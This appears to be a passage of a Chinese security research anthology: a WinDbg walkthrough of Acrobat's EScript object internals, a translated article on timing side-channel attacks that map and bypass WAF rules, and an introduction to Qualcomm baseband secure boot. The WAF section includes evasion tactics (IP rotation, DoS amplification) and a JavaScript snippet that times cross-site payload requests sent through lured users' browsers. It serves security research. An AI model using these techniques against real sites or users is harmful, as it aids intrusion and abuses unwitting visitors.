0 d Enable Clear 64bc21bc 0001 (0001) 0:**** EScript!mozilla::HashBytes+0x2177c

0:000> g

(4b38.3950): C++ EH exception - code e06d7363 (first chance)

(4b38.3950): C++ EH exception - code e06d7363 (first chance)

6) 点击 OK，弹出下一个对话框。
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7) 此时可以知道 app.alert(“1”)之前的 Javascript代码对应的字节码肯定已经解释执行完毕，通过

ctrl+break或者 alt+delete强行中断到调试器。

8) 再次运行刚才运行过的Windbg脚本命令，结果如下。

0:003> r @$t0 = 0xbd29a38 ;

0:003> r @$t1 = poi(@$t0) ;
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0:003> r @$t2 = poi(@$t0 + 0x8 );

0:003> r @$t8 = poi(@$t1 + 0x10);

0:003> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000009

$t4=00000001 $t5=000000bd

0b8ec948 00000000 ffffff83

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000007

$t4=00000001 $t5=000000bc

0b8ec940 00000000 ffffff82

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000005

$t4=00000001 $t5=000000bb

0b8ec938 51eb851f 40091eb8

--------------------
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Memory access error at ’); r @$t9 = 0xaa’

$t3=00000003

$t4=00000001 $t5=000000ba

0b8ec930 00000000 41f00000

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000001

$t4=00000001 $t5=000000b9

0b8ec928 00000005 ffffff81

--------------------

0a83c788 "removeLinks"

$t4=00000001 $t5=000000b8

0b8ec920 0bd24ab0 ffffff87

--------------------

可以看到新增了几个属性，属性的 id分别是 9、7、5、3、1（属性的 id右移 1位的结果就是索

引，比如这里分别对应索引 4、3、2、1、0），值分别是 false、undefined、3.14、0x100000000、0x5，和

Javascript代码是一一对应的。

9) 输入命令 g运行，再次点击对话框的 OK，弹出下一个对话框。
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10) 再次强行中断并运行Windbg脚本命令，结果如下。

0:001> r @$t0 = 0xbd29a38 ;

0:001> r @$t1 = poi(@$t0) ;

0:001> r @$t2 = poi(@$t0 + 0x8 );

0:001> r @$t8 = poi(@$t1 + 0x10);

0:001> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

Memory access error at ’); r @$t9 = 0xaa’

$t3=0000000f

$t4=00000001 $t5=000000c0

0b8ec960 0a818ba0 ffffff85

--------------------
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Memory access error at ’); r @$t9 = 0xaa’

$t3=0000000d

$t4=00000001 $t5=000000bf

0b8ec958 00000000 ffffff86

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=0000000b

$t4=00000001 $t5=000000be

0b8ec950 00000001 ffffff83

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000009

$t4=00000001 $t5=000000bd

0b8ec948 00000000 ffffff83

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000007

$t4=00000001 $t5=000000bc
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0b8ec940 00000000 ffffff82

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000005

$t4=00000001 $t5=000000bb

0b8ec938 51eb851f 40091eb8

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000003

$t4=00000001 $t5=000000ba

0b8ec930 00000000 41f00000

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000001

$t4=00000001 $t5=000000b9

0b8ec928 00000005 ffffff81

--------------------

0a83c788 "removeLinks"
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$t4=00000001 $t5=000000b8

0b8ec920 0bd24ab0 ffffff87

--------------------

可以看到又新增了 3个属性，id分别是 0xf、0xd、0xb（索引分别是 7、6、5），值分别是一个字符

串、null、true。

11) 再次输入 g运行，点击对话框的 OK，弹出下一个对话框。

12) 再次强行中断并运行Windbg脚本命令，结果如下。

0:003> r @$t0 = 0xbd29a38 ;

0:003> r @$t1 = poi(@$t0) ;

0:003> r @$t2 = poi(@$t0 + 0x8 );

0:003> r @$t8 = poi(@$t1 + 0x10);

0:003> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000013
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$t4=00000001 $t5=000000c2

0b8ec970 0bd24b50 ffffff87

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=00000011

$t4=00000001 $t5=000000c1

0b8ec968 0bda9078 ffffff87

--------------------

Memory access error at ’); r @$t9 = 0xaa’

$t3=0000000f

$t4=00000001 $t5=000000c0

0b8ec960 0a818ba0 ffffff85

--------------------

可以看到又多了 2个属性，id分别是 0x13、0x11（索引分别是 9、8）,值是 2个 JSObject（JSFunction

也是 JSObject），和 Javascript代码也是对应的。

快速调试就只有这么多，通过快速调试可以查看任何一句 Javascript代码产生的影响。

一般调试时大部分都应该使用快速调试，在关键部分结合细粒度的调试。

2.3.6调用 Native function的逻辑

2.2.4已经介绍了 JSFunction的概念，这里主要通过实际调试直观地感受一下之前的概念。

1) 生成一个包含如下代码的 pdf。
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2) 根据之前的技巧调试该 pdf，触发断点，找到 this的值为 0x0bd29a38。

3) 使用 windbg脚本命令打印 this的所有属性，找到 app属性及对应的值。

--------------------

0a819ce8 "app"

$t4=00000001 $t5=00000058

0b8ebe18 0bd29b78 ffffff87

--------------------

4) 可以看到 app对象的地址是 0x0bd29b78，再次使用 windbg脚本命令打印 app对象的所有属性。

0:000> r @$t0 = 0x0bd29b78 ;

0:000> r @$t1 = poi(@$t0) ;

0:000> r @$t2 = poi(@$t0 + 0x8 );
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0:000> r @$t8 = poi(@$t1 + 0x10);

0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}

0a81e7c8 "doc"

$t4=00000001 $t5=00000000

0bd29b90 0bd29a38 ffffff87

--------------------

嗯?怎么只有一个 doc属性，app不是还有很多方法和属性吗?这是因为 app的其他属性和方法都

在 app对象的 prototype中。

5) 根据 2.2.3.3得到 app对象的 prototype。

0:000> dd 0x0bd29b78 L0x4

0bd29b78 0bdb5df0 0bd25980 00000000 64e124d0

0:000> dd 0bd25980 L0x4

0bd25980 0b9f7110 0bd29268 00000000 80ff0008

上面的 0xbd29268就是 app对象的 prototype，再次使用 windbg脚本命令打印 app的 prototype的所

有属性，并找到 alert属性及它的值。

--------------------

0a818cc8 "alert"

$t4=00000001 $t5=0000000d

0b99b040 0bd3c3d0 ffffff87
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--------------------

6) alert对象的地址是 0xbd3c3d0，是一个 JSFunction。

打印 alert对象的值，如下所示。

0:000> dd 0xbd3c3d0 L0xa

0bd3c3d0 0bd3b8c8 0bd250c0 00000000 64e124d0

0bd3c3e0 0c763b00 00000000 00000000 64be4600

0bd3c3f0 00000000 0a818cc0

0:000> dc 0a818cc0 L0x8

0a818cc0 00000058 0a818cc8 006c0061 00720065 X.......a.l.e.r.

0a818cd0 00000074 00000000 00000000 00000000 t...............

可以确定没有找错，那么根据 2.2.4 可以知道偏移 0x1C 处的地址（这里是 0x64be4600）就是

app.alert的 Native实现了。

是这样吗？通过 2.1节得到的 app.alert的 Native实现应该是地址 0x64C63CB0，如下所示。
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为什么 alert的 JSFucntion封装的 Native函数地址不对呢？

这里就需要介绍一直没介绍的 JSObject剩余的 8个字节（参考 2.2.3）。

Acrobat为了使得 EScript可以调用其他模块 (动态链接库)实现的 Native函数，在 SpiderMoneky的

Native调用机制上实现了自己的机制。

这个机制由一个特定的函数实现（我称为 CallExternalReference），就是上面得到的 alert的 JSFunction

封装的 Native函数，在 IDA中定位 0x64be4600如下。

也就是调用 Natvie函数时其实调用的是 CallExternalReference，并传入实际要调用的函数名称（比

如这里的”alert’’），然后 CallExternalReference会在传入的对象（这里是 app对象的 prototype）中根据

传入的函数名称查找实际的 Native实现。

app的 prototype保存的函数名称对应的 Native实现如下。
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译者：通过基于时间的侧信道攻击识别WAF规则

来源：https://xz.aliyun.com/t/6175

大家好，今天我将在这篇文章中详细介绍我最近的研究，即针对WAF规则使用一个特殊的侧信道

形式进行攻击，即基于时间的形式。这部分研究目前还不是非常主流，但是其结果却是令人震惊的。

这篇文章挺长的，那么从现在就开始吧。

9.1 侧信道攻击？

维基百科这么定义侧信道攻击：

基于从计算机系统组成搜集到的信息进行的攻击，而不是针对系统实现算法本身的弱点。

所以基础上来讲，我们需要提取或者搜集一些本不应该被公开读取到的敏感信息进行侧信道攻击。

而这种攻击的成功实施往往是因为业务逻辑错误设计导致的。

今天我们谈论的攻击是基于时钟的，这种基于时间攻击专注在硬盘或者算法中的数据在 CPU/内存

的计算时间。只需要观察 CPU处理数据的用时变化就可以从系统中获取敏感信息。

9.2 WAF

WAF可以用于检测和阻止对易受攻击的Web应用程序的攻击。除了阻止恶意请求进入，WAF通常也

用于隐藏一些敏感信息泄露传出的问题（例如错误的堆栈信息）。通常来说WAF通过正则表达式来区

分正常和恶意请求。

9.3 为什么要识别规则

因为我们想要找到WAF规则中存在的漏洞问题，所以需要去识别WAF的规则，从而就能得知针对某

种攻击WAF使用了哪种过滤策略，然后去调整我们的攻击方式从而避开检测。一旦攻击绕过了WAF

那么就可以进一步发现WEB应用的更多漏洞。

在这篇文章中我使用了一种常见的指纹识别方法，称为正则表达式反转（regex-reverse），它通常依

赖检测请求数据包的每个部分，来分析得出是该数据包的哪个部分导致异常发生。

9.4 理解 WAF的安装

通常，WAF部署在如下 4个网络拓扑中：

1.反向代理

WAF在客户端和服务器之间拦截请求。客户端直接请求连接在WAF上面，然后WAF将客户端请

求数据包传递给服务器。如果请求被WAF阻止，那么该数据包就永远不会达到服务器。

2.服务器部署
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WAF安装在它需要保护的那台服务器上，这种情况可以分为两种：a) WAF是作为插件安装的；b)

WAF是作为开发引入到代码中的。

3.带外形式

这种情况下，WAF通常连入的是网络设备上的监控端口，获取到的是流量镜像副本。这种方式限

制了WAF对请求数据包的阻断功能，只有在检测到恶意数据包时才能发送 TCP重置数据包来中断流

量。

4.云部署

这种包括了在网络云提供商内部部署WAF的方法。这种类似于反向代理形式，即每个单独的数据

请求都会经过云和云WAF。

在我的实验当中，我使用了 2个最为常见的WAF部署方式：反向代理方式和作为插件的服务器内

部部署方式。

9.5 WAF指纹识别的常规方法

通常任何 WAF 都是可以通过独特的 HTTP 头字段，cookie 字段，阻断报错信息（例如响应

码，响应页面）这些来进行识别的。有很多不错的 WAF 识别和绕过工具，例如 WAFW00F

（https://github.com/enablesecurity/wafw00f），WAFNinja（https://github.com/khalilbijjou/wafninja）等等。

他们常常是通过侧信道来识别WAF的规则（例如一个请求是被阻断还是转发），进而绕过WAF。所以

这些工具都对如下信息进行了观察分析：

1.WAF拦截信息

表示WAF已经标记请求为恶意请求并且进行了阻断。通常，拦截后的响应页面或者一个 HTTP头

字段都定义了这个请求已经被拦截。响应码（403 Forbidden）也有可能表示已经拦截请求数据包。

170



安全研究 通过基于时间的侧信道攻击识别 WAF规则

2.WEB错误信息

表示WEB在解析请求数据包时出错，但是错误信息页面会被WAF的自定义报错页面覆盖。这种

请求下，WAF不会阻断请求，而是知识隐藏WEB本身的错误消息页面，以防止出现错误堆栈信息等

导致的信息泄露。

3.正常响应

表示请求数据包已经经过WAF传递到达WEB服务器。但是请求在传递到服务器之间，WAF有可

能对该请求进行了部分恶意字段删除的操作。
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9.6 主要缺点

所以通过上文可以发现，仅通过观察响应数据包，无法明确区分出已经被转发和已经被阻断的请求

（WAF拦截信息和WEB错误信息）。因为不管是WAF拦截了恶意数据还是WEB报错，页面显示出来

的响应页面都可能是一样的。

9.7 为什么使用基于时间的攻击？

针对上述缺点的解决方案就是本文提出的基于时间的攻击。通过利用基于时间攻击，可以准确判断导

致一种特殊响应形式的请求是被转发还是被阻断的；由于服务器针对产生报错的请求的响应时间远远

大于转发正常请求的时间，所以在这种识别下会被忽略。实验结果表明，该攻击可以精确识别请求在

遇到WAF后被如何处理（转发还是阻拦），且准确率可以达到 95%。

9.8 攻击的思路

9.8.1 原理

这种攻击技术的主要原理就是，通常被阻断的恶意请求从WAF直接响应给客户端比转发后从服务器

响应给客户端的时间花费会更少（ms为单位）。即被阻断的请求比被转发的请求耗时更短，所以阻断

请求和转发请求之间的时间差等于应用逻辑的处理时间。

假设：这里唯一的假设是当我们的 WAF检测到恶意请求就会阻断请求并立即响应一个错误信息。

但是其他 WAF会存在删除恶意数据字段然后再将处理后的数据包转发给服务器。

9.8.2 方法

为了区分阻断请求和转发请求。我们需要传递两种不同类型的请求数据包：一种是正常无害的请求数

据包，它将顺利通过WAF并被转发；一种是包含恶意负载字符串

的请求，WAF很容易就可以检测到它。
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我们最初解决这个问题的方法是将攻击分为两个阶段：

1.学习阶段

在此阶段，我们测试并记录阻断请求和转发请求的相应耗时，为之后的攻击阶段做准备。

2.攻击阶段

在此阶段，我们执行实际的攻击，恶意构造的请求会被发送以获取攻击结果或为未来的攻击做准

备。

现在来计算具体的数学方法。在学习阶段，首先在 n个阻断请求中测量相应时间集合 <Tn = t1, t2,

. . . tn>，并且定义一个 ‘‘标记阈值’’。这个标记阈值在确定一个请求是否是阻断还是转发时作为一个

参考值。这个阈值定义如下：

同理，再在 n个转发请求中的响应时间集合定义一个 ‘‘转发阈值’’，该阈值的边界可以被定义为所

有正常WAF转发请求的耗时集合中的最小值（译者注：因为转发请求耗时明显大于阻断请求，所以

以最小值作为边界）。这个阈值可以定义如下：

在如上两个公式当中，常量表示由于一些网络因素等导致转发阈值和标记阈值边界的微小位移变

化。
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所以理论上，我们的转发边界和标记边界都是作为转发请求和阻断请求的耗时阈值。且网络本身

的一些噪声等因素，这些阈值是不可在多个攻击场景下进行复制使用的。所以我们最终采用这两个边

界值的均值来获得最终阻断请求和转发请求的耗时之间的边界值。

显然时间测量后，一个请求的耗时大于 t即这个请求为转发请求，如果耗时小于 t那么它就是阻断请

求。但是任何请求耗时如果接近 t可以极有可能是低网络噪声环境下的转发请求，也有可能是高网络

噪声环境下的转发请求。为了排除这一点，攻击者需要放大这个攻击向量。我们将详细讨论这个问题。

9.9 实验

9.9.1 安装程序

为了验证上述理论，我采用了两种最常用的WAF部署拓扑：反向代理和插件部署服务器。我在我自

己的服务器上做了这些设置，并完全按照正常的部署方式进行了场景复制。为了测试这种攻击方法，

我选择了 Shadow Daemon（https://github.com/zecure/shadowd），因为它是开源的，且规则维护度很小。

且它很容易设置，因此将它的代码改写成系统插件不是很难。

9.9.2 学习阶段

我写了一个小 python代码，在学习阶段它会一个接一个每 2秒重复发送正常的和恶意的请求。一共发

送了 200个请求，其中正常请求和恶意请求各 100个。学习阶段得出的结果清晰地表明这种方法具有

一定有效性。

转发请求和阻断请求的一些样例如下：
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可能会注意到的是，请求被阻断的情况下，某些请求可能超过了预想的标记边界，这可能是网络

连接丢包或者网络堵塞问题。但是可以清楚发现任何一个正常数据包或者恶意数据包都没有越过最终

的绝对时间边界。

9.9.3 攻击阶段

实际攻击测试下，将会收集一组最常见的恶意 payload，以便对目标进行测试。现在想法是一串天街了

不同的混淆值而生成多种形式的变种 payload。这种变种 payload和原来的恶意 payload语义相同，但

是语法不同导致WAF的正则表达式可能无法检测到它。举几个例子：

现在将一系列此类请求发送到部署了WAF的服务器并记录其响应时间，为了进一步验证实验无

误，同时会记录请求对应的响应码和响应页面，并识别出 403状态和响应页面阻止保证结果一致。

在反向代理部署的WAF上，结果符合预期。标记边界和转发边界中间的最小时间间隔为 53.2ms。

结果显示，96.4%的案例中，我们可以正确区分转发请求和阻断其你去。因此可以有把握得说这种拓

扑情况该方法准确性和可靠性都很高。只要重复几次学习阶段的测量就可以得到完美的测量结果。
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在插件部署服务器系统的情况，我本来没想到会有这种结果输出（译者注：因为软WAF和逻辑代

码处理之间的时间差会小很多）。但是令人震惊的是这种拓扑情况下方法的有效度和反向代理的情况

一样好。这个拓扑情况下，阻断请求和转发请求之间的耗时差（58.8ms）还大于反向代理情况下的耗

时差（53.2ms）。

因此可以有把握地说，这种攻击在 95%以上的案例中可以明确区分转发请求和阻断请求。
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9.10 方法存在的缺陷

这种方法的主要缺点就是攻击者都需要发送大量的请求来查找WAF规则集中的漏洞。除此之外，网

络问题是一个比较大的障碍，可能会导致测量结果不稳定。因此服务器负载也可以作为一个因素加入

到计算方法中，可以作为常数加入或者乘上。另外现代WAF也会通常实现针对发送包含恶意字符串

的请求的客户端进行一定时间内封 IP处理，从而极大限制该方法的能力。但是我们可以使用另一种

技术来解决这个问题。

9.10.1 解决

这种问题的解决就是在合理的时间内（译者注：封 IP前的一段时间内）执行更多的测试，直到我们可

以获得平均结果，从而排除具有大响应时间的请求。另外，因为网络噪声确实对我们的测试结果产生

了一定影响，例如在测试布尔值结果时。一旦WAF封了客户端的 IP地址，换新 IP攻击以及换站点进

行继续攻击都可以有效对WAF这种封禁 IP行为进行了绕过。在很多情况下，在学习阶段中的连续测

量请求之间设置延迟也非常有帮助。

9.10.2 放大攻击

如何放大攻击向量？

选择更长 URL路径

当从服务器查询资源时，查询操作将由 CPU来处理，查询到的结果的各个部分都会累积到一起

（图片，CSS等）然后一起返回给客户端。然后我们选择在所有 URL路径中响应内容最大的一个（例

如，在一个博客站点我们可以选择查询文章图片最多的那个），因为这个响应内容最大的请求将会产

生更多的 CPU负载，服务器也就会使用更长的时间去处理该请求，使得该方法更具有有效性。

拒绝服务攻击

第二，我们可以结合不同的拒绝服务攻击的原理，例如在查询框中提交体量更大的查询，发送包含大

体积的 body主体的 POST数据包，hash碰撞攻击（HashDoS）（https://cryptanalysis.eu/blog/2011/12/28/effective-

dos-attacks-against-web-application-plattforms-hashdos/）等。请求处理的时间越长，网络噪声导致的负

影响就越小。

跨站规则识别

最后，我们可以使用 CSRF攻击来串联我们的识别过程，这需要攻击者将用户引诱到一个可以嵌

入 HTML和 JS代码的站点（译者注：也就是存在 XSS的站点）来让用户帮助它访问目标测试站点。

一个样例代码如下：

<script> var test = document.getElementById(’test’); var start = new Date(); test.onerror = function() { var end = new Date(); alert("Total time: " + (end - start)); } test.src = "http://sitename.tld/path?" + parameter + "=" + payload; </script>

在上述代码中，我们创建一个不可见的 img标签，就在我们将 payload复制到图片的引用链接之前，

我们开始记录时间，由于图像无效，浏览器会触 onerror事件，并且时间记录停止时执行相关功能，并

且演出具有记录时间的警报框。

这个方法有三个优点：
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首先，攻击者的身份会被隐藏。因为由于是多个用户因为 CSRF攻击被引诱到向目标服务器发送

请求，因此无法区分这背后谁是真的攻击角色；

这种方法避免了封禁 IP地址的影响；

特别重要的事该方法仅在基于时间的攻击时可靠有效。有时 SOP（同源策略）可能会限制从其他

源读取页面，因此这种情况下可能使用上文一些WAF识别工具所用到的指纹识别方法；

9.11 结论

总结一下，该攻击方法突出了时间在侧信道攻击中的有效性，以及WAF开发人员编写严格的规则的

必要性。在这个小小的研究中，我在 ShadowD WAF的规则集中发现了一个可以绕过的安全漏洞，在

我的下一篇文章中我将会写到我发现的问题。
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作者：谢君@阿里安全

来源：https://www.anquanke.com/post/id/186103

10.1 背景

随着 5G大浪潮的推进，未来万物互联将会有极大的井喷爆发的可能，而移动基带系统作为连接世界

的桥梁，必将成为未来非常重要的基础设施，而基础设施的技术自主能力已经上升到非常重要的国家

层面上的战略意义，从美国对待中国的通信产商华为的禁令就可以看得出基础技术的发展对一个国家

的震慑，现今人类的生产生活已经离不开移动通信，未来也将会继续是引领人类科技的发展的重要媒

介，人工智能，自动驾驶，物联网以及你所能想到的一切科技相关的发展都会与移动通信产生重要的

联系，在此之上其安全性和可靠性将会成为人类所关心的重要问题，这也是笔者为了写这个系列文章

的初衷，也希望更多的安全研究人员参与到基础设施的安全研究当中来，挖掘出更多的缺陷与隐患，

完善未来的基础设施的安全。

10.2 概念和研究目的

3GPP移动通信的标准化组织 3rd Generation Partnership Project，成立于上世纪末，主要职能是为了制

订移动通信的技术标准，保证各个不同国家以及运营商在移动通信方面的兼容性，最常见的例子就是

能够让我们的手机可以做到在不同的国家漫游使用。

3GPP所制定的移动通信技术标准涵盖了所有的 2/3/4/5G通信相关的技术体系，产生了大量的技术

文档供研究人员学习和参考，有兴趣的可以从 3GPP的官方网站获取。

本系列文章研究对像是指 3GPP定义的移动通信相关 2/3/4/5G的基带软硬件和通信系统，例如手

机的语音/短信/数据流量，以及物联网中使用的相关移动通信技术的端设备。基带系统本身是泛指无

线通信系统里面的软/硬件和通信技术的集合体，例如蓝牙/Wi-Fi/GSM都有基带系统，所以本系列文

章所指的基带系统单指移动通信相关的 2/3/4/5G技术相关的基带系统。
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研究对象和目的：高通的基带芯片以及对 3GPP定义的对通信协议栈的实现，基带系统是一个非

常庞大且复杂的系统，包括软/硬件和通信技术的完美融合，所以具有相关设计能力的芯片产商很少，

从 2018年基带芯片的市场份额分布，高通是这个领域市场份额做的最大的芯片产商，高通是多个国

内手机产商的供应商，例如小米，oppo/vivo等，而华为现在已经有了自己基于海思芯片设计的基带系

统，打破了国外基带芯片市场的垄断，现在华为的手机产品都是用的华为自产的海思基带芯片，不过

软件系统还是基于人家的 VxWorks，不过刚刚华为发布了鸿蒙微内核系统，这个系统很有可能华为会

把基带系统移植上去，现在应该加紧进行基带系统的移植工作，本身各家的基带系统都是非常封闭的，

因为涉及各家的核心技术能力，加上移动通信的复杂性，研究的人也比较少，我研究的目的之一就是

挖掘里面的一些设计逻辑，结合 3GPP的协议的定义来更好的理解整个基带系统的实现，并且深入挖

掘里面的攻击面以及如何更好的发现里面的安全问题。

上面图片来源

研究方法：

整个系列文章将会围绕高通基带系统对 3GPP定义的协议栈的实现来挖掘里面的一些业务逻辑以

及挖掘相关的攻击面来进行，所以我的研究方法会针对如下层次来进行。

1.操作系统

2.应用系统

3.3GPP实现的协议栈

4.攻击面研究以及缺陷挖掘

封闭的基带系统需要大量的逆向工程的工作，来获取对基带系统行为的了解，逆向工程是安全研

究者在挖掘未知的必备技能，什么时候需要逆向工程，在你无法获取目标研究对象的源代码和设计文

档或者仅能够获取极少文档信息的情况下，想了解其目标对象的一些设计逻辑，原理和算法，这个时

候你只能通过逆向工程这种合法手段来达到上面的目的。
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逆向工程也分软件和硬件，现今的数字系统基本上都是通过软件来定义的，我们对于硬件的逆向

工程就不展开讲了，有机会单独写出来，所以本文讨论的也基本上是软件层面上的逆向工程，而基带

系统与硬件结合又是非常紧密的，所以对基带系统的逆向工程也需要硬件研究能力的支撑，逆向工程

的难易程度也是分等级的，如下是我个人对逆向工程难易的理解，默认下面所有应用的固件都可以获

取，通过研究工具的获取和研究的成本来分类。

而我们选择的研究对象高通的MDM系列芯片按我的理解难度应该在上图的 L3的级别，非常有限

的芯片信息的情况下。

10.3 高通基带硬件系统介绍

高通的基带硬件按照功能的不同分为两类：

1.MSM系列（Mobile Station Modem）

2.MDM系列 (Mobile Data Modem)

MSM系列主要是给手持移动通信设备使用，例如手机等

MDM系列主要是给移动数据流量设备使用，车联网或其它物联网设备等

MSM系列与MDM系列的区别

MSM系列芯片包括应用处理器（Application Processor）和基带系统处理器 (Baseband Processor)还

有Wi-Fi，蓝牙等,这个主要是提供整体的手机解决方案来给手机产商使用，Android生态的大部分手

机都是运行在高通的MSM系列的 SoC之上，例如小米 5手机搭载的高通骁龙系列 S820的 SoC就是

MSM8996系列的芯片，应用处理器运行的是 Android系统。

MDM系列早期只包含（Baseband Processor），主要是提供数据 modem和语音的功能，苹果手机

生态和车联网以及 4G无线上网卡等应用中比较常见，比如 iPhone 8/8 Plus和 iPhone X都是配备的高

通 MDM9655的基带芯片，而宝马/奥迪车联网的 TBOX则配备的 MDM6x00系列的基带芯片,而 15

年生产的通用安吉星系统 TBOX则采用的是 MDM9215系列，为了能够提供更强大的业务逻辑能力，

MDM系列基带芯片 SoC剥离了基带系统和业务系统，由两个 core组成，比如 mdm9xxx系列芯片包

含一个 hexagon的 DSP基带处理核，以及一个 ARM Cortex-A系列的核。

从功能上来说，MSM系列的功能是包含了MDM系列的功能
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所以高通的 MDM系列的 Baseband Processor并不是严格意义上的一块处理器，而是至少有 3个

core。

1.一个基于 ARM的微处理子系统

a. ARM1136 MDM6600

b. ARM Cortex-A5 + Hexagon DSP MDM9215

2.一个基于高通 Hexagon QDSP架构的Modem DSP(mDSP)

3.一个基于高通 Hexagon QDSP架构的 Application DSP(aDSP)

这 3个 core的主要功能如下：

1.这个基于ARM的微处理器属于基带系统的子系统（MDM6x00基于ARM1136的架构，MDM9x15

系列基于 ARM Cortex-A5以及新增了一个 hexagon DSP处理器），它将协助 mDSP和 aDSP的初始化

和与这两个 core进行通信交互以及实现 3GPP定义通信的所需的协议栈功能和算法，也可作为特定应

用相关处理平台，例如在车联网中会将它作为 TBOX的应用逻辑的处理器，MDM9x15把 3GPP协议

栈的实现转移到了 hexagon DSP上，而MDM6x00的 3GPP协议栈的实现是在这个 ARM1136上完成。

2.mDSP的主要功能就是无线信号的调制与解调，在 3G为代表的MDM6x00系列的 mDSP主要实

现 CDMA/WCDMA/GSM/GNSS信号的调制与解调，在 4G为代表的 MDM9x15系列主要实现了包括

CDMA/WCDMA/GSM/LTE/GNSS信号的调制与解调。

3.aDSP(Application DSP)，主要功能是实现与应用相关的信号调制与解调，例如语音信号的调制与

解调（Audio DSP），常见的应用就是我们手机语音通话时编码与解码以及压缩就是通过这个 aDSP来

实现。

下图为高通MDM系列基带芯片的一些特性：
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上面图片来源高通

10.4 高通基带软件系统介绍

高通基带的软件系统从 2000年左右就开始应用他们自己设计的嵌入式 rtos系统 REX来构建他们自己

的手机基带应用系统 AMSS，而且基础的应用软件架构一直沿用至今，由于基带应用系统其复杂的特

性以及大量的功能应用，为了保证其应用良好的移植性和兼容性，所以基带的底层系统采用精简的微

内核系统 OKL4，这是一个开源的微内核系统，基于 ARM的基带处理器都是采用的 OKL4微内核，自

从高通开发的新的 hexagon DSP基带处理芯片后，一个名为 QuRT嵌入式微内核系统因此而产生，这

个 QuRT前期也叫 Blast，它的出现应该是专门为 QDSPv6架构的 DSP处理器而开发的，我们今天分

析的MDM6600基带芯片是基于 OKL4的微内核 +REX AMSS应用系统，而我们重点关注的其实也是

运行在 REX之上的 AMSS应用，下图是整个基带系统的基于 ARM和基于 hexagon QDSP架构逻辑，

未来 5G应用还会继续沿用右边的架构。
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微内核的好处在于，应用系统可以保持高度的可移植性，微内核系统只要满足基本的 IPC通信机

制，内存管理，CPU调度机制即可，驱动文件系统等以及应用都可以在用户态来初始化完成，这对于

需要支持多个硬件平台的高通来说无疑非常高效的做法，如下图是高通的系统架构。

基带软件系统主要包括如下部分：
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1.启动管理

2.内存管理

3.文件系统

4.定时器机制

5.任务管理和 IPC通信机制

6.中断管理

10.4.1 基带系统启动过程

高通基带芯片很早就引入了 secure boot的启动验证机制，来防止启动过程中运行的代码或数据被篡改，

旨在安全可信计算，现在大部分高通系的手机都有这个功能，芯片上电后先被芯片的 BootRom接管，

该 BootRom里面的代码不可篡改，里面存有 flash控制器的基本读写功能，而且芯片的 OTP区域可以

存储产商授权的公钥证书，用于签名认证启动过程中需要认证的分区数据。以MDM6600芯片在某个

车联网应用基带设备为例，它的启动过程如下：

芯片上电后执行 BootRom里面代码检测是否从 flash启动，如果是从 flash的第一个扇区读入数据

到内存并搜索 secureboot启动的Magic Header，然后解析头部相应的数据结构，获取代码和数据的大

小和偏移以及装载到内存的地址信息，签名/证书数据偏移和长度，如下图是 DBL头部区域信息。

0x00 – CodeWord (“D1 DC 4B 84”)

0x04 – Magic (“34 10 D7 73”)
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0x14 – Body start offset (0x2050)

0x18 – Loading address (0x20012000)

0x1C – Body size (Code + Signature + Certificate store size)

0x20 – Code size

0x24 – Signature address

0x28 – Signature length (256 bytes)

0x2C – Certificate store address

0x30 – Certificate store length

证书信息截图
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当 BootRom验证 DBL代码和数据签名成功后，此后 DBL的代码接管执行，然后搜索MIBIB分区

表，获取各个分区的起始 block信息，然后在相应的块去读取相应的数据，接着就是验证相应分区数

据的签名，然后相应的分区代码接管，完成一系列的信任启动链，DBL验证成功后，验证 FSBL，然

后是 OSBL，最后是 AMSS。

